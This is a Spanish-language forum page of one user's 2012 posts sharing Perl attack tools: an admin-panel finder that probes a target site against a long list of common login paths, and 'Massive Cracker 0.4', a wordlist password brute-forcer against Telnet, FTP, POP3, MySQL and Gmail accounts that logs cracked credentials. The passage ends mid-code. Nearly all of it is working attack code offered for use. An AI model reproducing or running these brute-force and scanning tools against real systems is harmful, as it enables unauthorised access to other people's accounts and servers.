Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

Páginas 1 ... 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 ... 55
#321
Scripting / Re: [Perl Tk] Panel Control 0.3
12 Junio 2012, 03:09 AM
no se de que algoritmos estas hablando xDD , pero te puedo decir que el script solo comprueba si esa url esta activa de esta forma $code->is_success.
#322
Scripting / [Perl Tk] Panel Control 0.3
9 Junio 2012, 16:33 PM
Version Tk de un programa en Perl para buscar el famoso panel de admin.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Panel Control 0.3
#Version Tk
#Coded By Doddy H
#The arrays are a collection of several I found on the web

use Tk;
use Tk::Dialog;
use LWP::UserAgent;

my @paneles = (
    'admin/admin.asp',               'admin/login.asp',
    'admin/index.asp',               'admin/admin.aspx',
    'admin/login.aspx',              'admin/index.aspx',
    'admin/webmaster.asp',           'admin/webmaster.aspx',
    'asp/admin/index.asp',           'asp/admin/index.aspx',
    'asp/admin/admin.asp',           'asp/admin/admin.aspx',
    'asp/admin/webmaster.asp',       'asp/admin/webmaster.aspx',
    'admin/',                        'login.asp',
    'login.aspx',                    'admin.asp',
    'admin.aspx',                    'webmaster.aspx',
    'webmaster.asp',                 'login/index.asp',
    'login/index.aspx',              'login/login.asp',
    'login/login.aspx',              'login/admin.asp',
    'login/admin.aspx',              'administracion/index.asp',
    'administracion/index.aspx',     'administracion/login.asp',
    'administracion/login.aspx',     'administracion/webmaster.asp',
    'administracion/webmaster.aspx', 'administracion/admin.asp',
    'administracion/admin.aspx',     'php/admin/',
    'admin/admin.php',               'admin/index.php',
    'admin/login.php',               'admin/system.php',
    'admin/ingresar.php',            'admin/administrador.php',
    'admin/default.php',             'administracion/',
    'administracion/index.php',      'administracion/login.php',
    'administracion/ingresar.php',   'administracion/admin.php',
    'administration/',               'administration/index.php',
    'administration/login.php',      'administrator/index.php',
    'administrator/login.php',       'administrator/system.php',
    'system/',                       'system/login.php',
    'admin.php',                     'login.php',
    'administrador.php',             'administration.php',
    'administrator.php',             'admin1.html',
    'admin1.php',                    'admin2.php',
    'admin2.html',                   'yonetim.php',
    'yonetim.html',                  'yonetici.php',
    'yonetici.html',                 'adm/',
    'admin/account.php',             'admin/account.html',
    'admin/index.html',              'admin/login.html',
    'admin/home.php',                'admin/controlpanel.html',
    'admin/controlpanel.php',        'admin.html',
    'admin/cp.php',                  'admin/cp.html',
    'cp.php',                        'cp.html',
    'administrator/',                'administrator/index.html',
    'administrator/login.html',      'administrator/account.html',
    'administrator/account.php',     'administrator.html',
    'login.html',                    'modelsearch/login.php',
    'moderator.php',                 'moderator.html',
    'moderator/login.php',           'moderator/login.html',
    'moderator/admin.php',           'moderator/admin.html',
    'moderator/',                    'account.php',
    'account.html',                  'controlpanel/',
    'controlpanel.php',              'controlpanel.html',
    'admincontrol.php',              'admincontrol.html',
    'adminpanel.php',                'adminpanel.html',
    'admin1.asp',                    'admin2.asp',
    'yonetim.asp',                   'yonetici.asp',
    'admin/account.asp',             'admin/home.asp',
    'admin/controlpanel.asp',        'admin/cp.asp',
    'cp.asp',                        'administrator/index.asp',
    'administrator/login.asp',       'administrator/account.asp',
    'administrator.asp',             'modelsearch/login.asp',
    'moderator.asp',                 'moderator/login.asp',
    'moderator/admin.asp',           'account.asp',
    'controlpanel.asp',              'admincontrol.asp',
    'adminpanel.asp',                'fileadmin/',
    'fileadmin.php',                 'fileadmin.asp',
    'fileadmin.html',                'administration.html',
    'sysadmin.php',                  'sysadmin.html',
    'phpmyadmin/',                   'myadmin/',
    'sysadmin.asp',                  'sysadmin/',
    'ur-admin.asp',                  'ur-admin.php',
    'ur-admin.html',                 'ur-admin/',
    'Server.php',                    'Server.html',
    'Server.asp',                    'Server/',
    'wp-admin/',                     'administr8.php',
    'administr8.html',               'administr8/',
    'administr8.asp',                'webadmin/',
    'webadmin.php',                  'webadmin.asp',
    'webadmin.html',                 'administratie/',
    'admins/',                       'admins.php',
    'admins.asp',                    'admins.html',
    'administrivia/',                'Database_Administration/',
    'WebAdmin/',                     'useradmin/',
    'sysadmins/',                    'admin1/',
    'system-administration/',        'administrators/',
    'pgadmin/',                      'directadmin/',
    'staradmin/',                    'ServerAdministrator/',
    'SysAdmin/',                     'administer/',
    'LiveUser_Admin/',               'sys-admin/',
    'typo3/',                        'panel/',
    'cpanel/',                       'cPanel/',
    'cpanel_file/',                  'platz_login/',
    'rcLogin/',                      'blogindex/',
    'formslogin/',                   'autologin/',
    'support_login/',                'meta_login/',
    'manuallogin/',                  'simpleLogin/',
    'loginflat/',                    'utility_login/',
    'showlogin/',                    'memlogin/',
    'members/',                      'login-redirect/',
    'sub-login/',                    'wp-login/',
    'login1/',                       'dir-login/',
    'login_db/',                     'xlogin/',
    'smblogin/',                     'customer_login/',
    'UserLogin/',                    'login-us/',
    'acct_login/',                   'admin_area/',
    'bigadmin/',                     'project-admins/',
    'phppgadmin/',                   'pureadmin/',
    'sql-admin/',                    'radmind/',
    'openvpnadmin/',                 'wizmysqladmin/',
    'vadmind/',                      'ezsqliteadmin/',
    'hpwebjetadmin/',                'newsadmin/',
    'adminpro/',                     'Lotus_Domino_Admin/',
    'bbadmin/',                      'vmailadmin/',
    'Indy_admin/',                   'ccp14admin/',
    'irc-macadmin/',                 'banneradmin/',
    'sshadmin/',                     'phpldapadmin/',
    'macadmin/',                     'administratoraccounts/',
    'admin4_account/',               'admin4_colon/',
    'radmind-1/',                    'Super-Admin/',
    'AdminTools/',                   'cmsadmin/',
    'SysAdmin2/',                    'globes_admin/',
    'cadmins/',                      'phpSQLiteAdmin/',
    'navSiteAdmin/',                 'server_admin_small/',
    'logo_sysadmin/',                'server/',
    'database_administration/',      'power_user/',
    'system_administration/',        'ss_vms_admin_sm/'
);

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}

my $color_texto = "red";
my $color_fondo = "black";

my $newdaxz =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

$newdaxz->title("Panel Control 0.3 || Coded By Doddy H");
$newdaxz->geometry("345x350+50+50");
$newdaxz->resizable( 0, 0 );

$menula = $newdaxz->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $menulnowaxm = $menula->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowaxm = $menula->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowaxm = $menula->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$menula->pack( -side => "top", -fill => "x" );

$menulnowaxm->command(
    -label      => "Scan",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&findpanel
);
$menulnowaxm->command(
    -label      => "Open Logs",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&openlogsk
);

$aboutnowaxm->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&aboutxa
);

$exitnowaxm->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&exitnow
);

$newdaxz->Label(
    -text       => "Page : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 40 );
my $paget = $newdaxz->Entry(
    -width      => 40,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 45 );

$newdaxz->Label(
    -text       => "Panels Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 120, -y => 80 );
my $admins = $newdaxz->Listbox(
    -width      => 40,
    -height     => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 50, -y => 130 );

$newdaxz->Label(
    -text       => "Status : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 63, -y => 300 );
my $tatus = $newdaxz->Entry(
    -width      => 25,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 120, -y => 305 );

$admins->bind( "<Double-1>", [ \&loader ] );

MainLoop;

sub findpanel {
    my $hage = $paget->get;
    $admins->delete( "0.0", "end" );
    $tatus->configure( -text => "Starting" );
    for my $path (@paneles) {
        $newdaxz->update;
        $tatus->configure( -text => $path );
        $code = tomados( $hage . "/" . $path );
        if ( $code->is_success ) {
            $controlt = 1;
            $admins->insert( "end", $hage . "/" . $path );
            savefile( "admins-founds.txt", $hage . "/" . $path );
        }
    }

    if ( $controlt ne 1 ) {
        $newdaxz->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "Not found anything",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
    $tatus->configure( -text => "Finished" );
}

sub loader {
    $adminsa = $admins->curselection();
    for my $id (@$adminsa) {
        my $linkar = $admins->get($id);
        system("start firefox $linkar");
    }
}

sub openlogsk {
    my $f = "admins-founds.txt";
    if ( -f $f ) {
        system($f);
    }
    else {
        $newdaxz->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub aboutxa {
    $newdaxz->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "Coded By Doddy H",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();
}

sub exitnow {
    exit 1;
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub tomados {
    return $nave->get( $_[0] );
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

#The End ?
#323
Scripting / [Perl] Panel Control 0.3
9 Junio 2012, 16:33 PM
Simple script para buscar el famoso panel de administracion.

Código (perl) [Seleccionar]

#!usr/bin/perl
#Panel Control 0.3
#Coded By Doddy H
#The arrays are a collection of several I found on the web

my @paneles = (
    'admin/admin.asp',               'admin/login.asp',
    'admin/index.asp',               'admin/admin.aspx',
    'admin/login.aspx',              'admin/index.aspx',
    'admin/webmaster.asp',           'admin/webmaster.aspx',
    'asp/admin/index.asp',           'asp/admin/index.aspx',
    'asp/admin/admin.asp',           'asp/admin/admin.aspx',
    'asp/admin/webmaster.asp',       'asp/admin/webmaster.aspx',
    'admin/',                        'login.asp',
    'login.aspx',                    'admin.asp',
    'admin.aspx',                    'webmaster.aspx',
    'webmaster.asp',                 'login/index.asp',
    'login/index.aspx',              'login/login.asp',
    'login/login.aspx',              'login/admin.asp',
    'login/admin.aspx',              'administracion/index.asp',
    'administracion/index.aspx',     'administracion/login.asp',
    'administracion/login.aspx',     'administracion/webmaster.asp',
    'administracion/webmaster.aspx', 'administracion/admin.asp',
    'administracion/admin.aspx',     'php/admin/',
    'admin/admin.php',               'admin/index.php',
    'admin/login.php',               'admin/system.php',
    'admin/ingresar.php',            'admin/administrador.php',
    'admin/default.php',             'administracion/',
    'administracion/index.php',      'administracion/login.php',
    'administracion/ingresar.php',   'administracion/admin.php',
    'administration/',               'administration/index.php',
    'administration/login.php',      'administrator/index.php',
    'administrator/login.php',       'administrator/system.php',
    'system/',                       'system/login.php',
    'admin.php',                     'login.php',
    'administrador.php',             'administration.php',
    'administrator.php',             'admin1.html',
    'admin1.php',                    'admin2.php',
    'admin2.html',                   'yonetim.php',
    'yonetim.html',                  'yonetici.php',
    'yonetici.html',                 'adm/',
    'admin/account.php',             'admin/account.html',
    'admin/index.html',              'admin/login.html',
    'admin/home.php',                'admin/controlpanel.html',
    'admin/controlpanel.php',        'admin.html',
    'admin/cp.php',                  'admin/cp.html',
    'cp.php',                        'cp.html',
    'administrator/',                'administrator/index.html',
    'administrator/login.html',      'administrator/account.html',
    'administrator/account.php',     'administrator.html',
    'login.html',                    'modelsearch/login.php',
    'moderator.php',                 'moderator.html',
    'moderator/login.php',           'moderator/login.html',
    'moderator/admin.php',           'moderator/admin.html',
    'moderator/',                    'account.php',
    'account.html',                  'controlpanel/',
    'controlpanel.php',              'controlpanel.html',
    'admincontrol.php',              'admincontrol.html',
    'adminpanel.php',                'adminpanel.html',
    'admin1.asp',                    'admin2.asp',
    'yonetim.asp',                   'yonetici.asp',
    'admin/account.asp',             'admin/home.asp',
    'admin/controlpanel.asp',        'admin/cp.asp',
    'cp.asp',                        'administrator/index.asp',
    'administrator/login.asp',       'administrator/account.asp',
    'administrator.asp',             'modelsearch/login.asp',
    'moderator.asp',                 'moderator/login.asp',
    'moderator/admin.asp',           'account.asp',
    'controlpanel.asp',              'admincontrol.asp',
    'adminpanel.asp',                'fileadmin/',
    'fileadmin.php',                 'fileadmin.asp',
    'fileadmin.html',                'administration.html',
    'sysadmin.php',                  'sysadmin.html',
    'phpmyadmin/',                   'myadmin/',
    'sysadmin.asp',                  'sysadmin/',
    'ur-admin.asp',                  'ur-admin.php',
    'ur-admin.html',                 'ur-admin/',
    'Server.php',                    'Server.html',
    'Server.asp',                    'Server/',
    'wp-admin/',                     'administr8.php',
    'administr8.html',               'administr8/',
    'administr8.asp',                'webadmin/',
    'webadmin.php',                  'webadmin.asp',
    'webadmin.html',                 'administratie/',
    'admins/',                       'admins.php',
    'admins.asp',                    'admins.html',
    'administrivia/',                'Database_Administration/',
    'WebAdmin/',                     'useradmin/',
    'sysadmins/',                    'admin1/',
    'system-administration/',        'administrators/',
    'pgadmin/',                      'directadmin/',
    'staradmin/',                    'ServerAdministrator/',
    'SysAdmin/',                     'administer/',
    'LiveUser_Admin/',               'sys-admin/',
    'typo3/',                        'panel/',
    'cpanel/',                       'cPanel/',
    'cpanel_file/',                  'platz_login/',
    'rcLogin/',                      'blogindex/',
    'formslogin/',                   'autologin/',
    'support_login/',                'meta_login/',
    'manuallogin/',                  'simpleLogin/',
    'loginflat/',                    'utility_login/',
    'showlogin/',                    'memlogin/',
    'members/',                      'login-redirect/',
    'sub-login/',                    'wp-login/',
    'login1/',                       'dir-login/',
    'login_db/',                     'xlogin/',
    'smblogin/',                     'customer_login/',
    'UserLogin/',                    'login-us/',
    'acct_login/',                   'admin_area/',
    'bigadmin/',                     'project-admins/',
    'phppgadmin/',                   'pureadmin/',
    'sql-admin/',                    'radmind/',
    'openvpnadmin/',                 'wizmysqladmin/',
    'vadmind/',                      'ezsqliteadmin/',
    'hpwebjetadmin/',                'newsadmin/',
    'adminpro/',                     'Lotus_Domino_Admin/',
    'bbadmin/',                      'vmailadmin/',
    'Indy_admin/',                   'ccp14admin/',
    'irc-macadmin/',                 'banneradmin/',
    'sshadmin/',                     'phpldapadmin/',
    'macadmin/',                     'administratoraccounts/',
    'admin4_account/',               'admin4_colon/',
    'radmind-1/',                    'Super-Admin/',
    'AdminTools/',                   'cmsadmin/',
    'SysAdmin2/',                    'globes_admin/',
    'cadmins/',                      'phpSQLiteAdmin/',
    'navSiteAdmin/',                 'server_admin_small/',
    'logo_sysadmin/',                'server/',
    'database_administration/',      'power_user/',
    'system_administration/',        'ss_vms_admin_sm/'
);

use LWP::UserAgent;

my $nave = LWP::UserAgent->new();
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

head();
print "[+] Page : ";
chomp( my $page = <stdin> );
scan($page);
copyright();

sub scan {

    print "\n\n[*] Searching .....\n\n\n";

    for my $path (@paneles) {
        $code = tomados( $_[0] . "/" . $path );

        if ( $code->is_success ) {
            $controlt = 1;
            print "\a\a[Link] : " . $_[0] . "/" . $path . "\n";
            savefile( "admins_logs.txt", $_[0] . "/" . $path );
        }

    }

    if ( $controlt ne 1 ) {
        print "[-] Not found anything\n";
    }

}

sub head {
    print q (


@@@@@                    @     @@@@                          @
@    @                   @    @    @             @           @
@    @                   @    @                  @           @
@    @  @@@  @ @@   @@@  @    @       @@@  @ @@  @@ @@  @@@  @
@@@@@      @ @@  @ @   @ @    @      @   @ @@  @ @  @  @   @ @
@       @@@@ @   @ @@@@@ @    @      @   @ @   @ @  @  @   @ @
@      @   @ @   @ @     @    @      @   @ @   @ @  @  @   @ @
@      @   @ @   @ @   @ @    @    @ @   @ @   @ @  @  @   @ @
@       @@@@ @   @  @@@  @     @@@@   @@@  @   @  @ @   @@@  @


                                                   
);
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

sub tomados {
    return $nave->get( $_[0] );
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

#The End ?
#324
Scripting / [Perl Tk] Masive Cracker 0.4
2 Junio 2012, 21:18 PM
Version Tk de este programa para crackear cuentas del tipo telnet,ftp,pop3 y gmail.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Massive Cracker 0.4
#Version Tk
#Coded By Doddy H
#http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
#ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
#http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod

use Cwd;
use Tk;
use Tk::FileSelect;
use Tk::Dialog;
use LWP::UserAgent;
use Net::FTP;
use Net::POP3;
use Net::Telnet;
use DBI;
use Mail::POP3Client;
use IO::Socket::SSL;

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}

my $color_texto = "green";
my $color_fondo = "black";

my $newdax =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

$newdax->title("Massive Cracker 0.4");
$newdax->geometry("320x270+50+50");
$newdax->resizable( 0, 0 );

$menula = $newdax->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $menulnowaxaz = $menula->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowaxaz = $menula->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowaxaz = $menula->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$menula->pack( -side => "top", -fill => "x" );

$menulnowaxaz->command(
    -label      => "Crack",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&crack
);
$menulnowaxaz->command(
    -label      => "Open Logs",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&openlogsaz
);
$aboutnowaxaz->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&aboutxaz
);
$exitnowaxaz->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&exitnowaz
);

#
$newdax->Label(
    -text       => "Host : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 40 );
my $host = $newdax->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 43 );
$newdax->Label(
    -text       => "Username : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 70 );
my $username = $newdax->Entry(
    -width      => 20,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 73 );
$newdax->Label(
    -text       => "Wordlist : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 100 );
my $password = $newdax->Entry(
    -width      => 20,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 95, -y => 103 );
$newdax->Button(
    -text             => "Browse",
    -width            => 10,
    -command          => \&bronaf,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 225, -y => 103 );
$newdax->Label(
    -text       => "Timeout : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 130 );
my $timeout = $newdax->Entry(
    -width      => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 95, -y => 133 );

$newdax->Label(
    -text       => "Service : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 170 );
$newdax->Optionmenu(
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -options          => [
        [ FTP    => FTP ],
        [ TELNET => TELNET ],
        [ POP3   => POP3 ],
        [ MYSQL  => MYSQL ],
        [ GMAIL  => GMAIL ]
    ],
    -textvariable => \$service
)->place( -x => 90, -y => 170 );

$newdax->Label(
    -text       => "Status : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 60, -y => 220 );
my $status = $newdax->Entry(
    -width      => 20,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 120, -y => 225 );

#

MainLoop;

sub crack {

    my $host = $host->get;
    my $user = $username->get;
    my $word = $password->get;
    my $time = $timeout->get;

    my $op = $service;

    if ( -f $word ) {

        $status->configure( -text => " " );

        if ( $op eq "TELNET" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                $telnet = new Net::Telnet( Errmode => "return" );
                $telnet->open($host);
                if ( $telnet->login( $user, $pass ) ) {
                    $cont = "1";
                    yeah( $host, $user, $pass, "Telnet" );
                }
                $telnet->close;
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }
        }

        elsif ( $op eq "FTP" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                $ftp = Net::FTP->new($host);
                if ( $ftp->login( $user, $pass ) ) {
                    $cont = "1";
                    yeah( $host, $user, $pass, "FTP" );
                }
                $ftp->quit;
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }
        }
        elsif ( $op eq "POP3" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                $pop = Net::POP3->new($host);
                if ( $pop->login( $user, $pass ) ) {
                    $cont = "1";
                    yeah( $host, $user, $pass, "POP3" );
                }
                $pop->quit();
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }
        }

        elsif ( $op eq "MYSQL" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            $target = "dbi:mysql::" . $host . ":3306";

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                if ( my $now =
                    DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
                {
                    $cont = "1";
                    yeah( $host, $user, $pass, "Mysql" );
                }
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }
        }

        elsif ( $op eq "GMAIL" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                my $so = IO::Socket::SSL->new(
                    PeerAddr => "pop.gmail.com",
                    PeerPort => 995,
                    Proto    => "tcp"
                );

                my $nave = Mail::POP3Client->new();

                $nave->User($user);
                $nave->Pass($pass);
                $nave->Socket($so);

                if ( $nave->Connect() ) {
                    $cont = "1";
                    yeah( "pop.gmail.com", $user, $pass, "Gmail" );
                }

                $so->close();
                $nave->close();
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }

        }
        else {
        }
    }
    else {
        $newdax->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub yeah {

    my $foundtk = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $foundtk->title("Account Cracked");
    $foundtk->geometry("280x130+20+20");
    $foundtk->resizable( 0, 0 );

    $foundtk->Label(
        -text       => "Host : ",
        -font       => "Impact",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 20 );
    my $host_found = $foundtk->Entry(
        -width      => 30,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 67, -y => 25 );
    $foundtk->Label(
        -text       => "Username : ",
        -font       => "Impact",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 50 );
    my $user_found = $foundtk->Entry(
        -width      => 24,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 103, -y => 55 );
    $foundtk->Label(
        -text       => "Password : ",
        -font       => "Impact",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 80 );
    my $pass_found = $foundtk->Entry(
        -width      => 24,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 103, -y => 85 );

    $host_found->configure( -text => $_[0] );
    $user_found->configure( -text => $_[1] );
    $pass_found->configure( -text => $_[2] );

    savefile( "cracked-logs.txt",
        $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );

    last;

}

sub openwordlist {

    my @words;
    my ($file) = @_;

    open( FILE, $file );
    my @words = <FILE>;
    close FILE;

    return @words;

}

sub bronaf {
    $newdax->update;
    $browse = $newdax->FileSelect( -directory => getcwd() );
    my $file = $browse->Show;
    $password->configure( -text => $file );
}

sub aboutxaz {
    $newdax->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "Coded By Doddy H",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();
}

sub openlogsaz {
    my $f = "cracked-logs.txt";
    if ( -f $f ) {
        system($f);
    }
    else {
        $newdax->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub exitnowaz { exit 1; }

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

#The End ?
#325
Scripting / [Perl] Massive Cracker 0.4
2 Junio 2012, 21:18 PM
Nueva version de este programa para crackear el siguiente tipo de cuentas

  • Telnet
  • FTP
  • POP3
  • Mysql
  • Gmail

    Tambien le quite la opcion de Hotmail la cual era obsoleta.

    El codigo

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #Massive Cracker 0.4
    #Coded By Doddy H
    #http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
    #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
    #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
    #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
    #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
    #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
    #http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod

    use Net::FTP;
    use Net::POP3;
    use Net::Telnet;
    use DBI;

    use Mail::POP3Client;
    use IO::Socket::SSL;

    head();

    print "[+] Option :  ";
    chomp( my $op = <stdin> );

    if ( $op eq "1" ) {

        my ( $host, $user, $word, $time ) = form1();
        my @words = openwordlist( $word, "Telnet" );

        for my $pass (@words) {
            chomp $pass;
            sleep($time);
            $telnet = new Net::Telnet( Errmode => "return" );
            $telnet->open($host);
            if ( $telnet->login( $user, $pass ) ) {
                yeah( $host, $user, $pass, "Telnet" );
            }
            $telnet->close;
        }

        print "\n[-] Password Not Found\n";

    }

    elsif ( $op eq "2" ) {

        my ( $host, $user, $word, $time ) = form1();
        my @words = openwordlist( $word, "FTP" );

        for my $pass (@words) {
            chomp $pass;
            sleep($time);
            $ftp = Net::FTP->new($host);
            if ( $ftp->login( $user, $pass ) ) {
                yeah( $host, $user, $pass, "FTP" );
            }
            $ftp->quit;
        }

        print "\n[-] Password Not Found\n";

    }
    elsif ( $op eq "3" ) {

        my ( $host, $user, $word, $time ) = form1();
        my @words = openwordlist( $word, "POP3" );

        for my $pass (@words) {
            chomp $pass;
            sleep($time);
            $pop = Net::POP3->new($host);
            if ( $pop->login( $user, $pass ) ) {
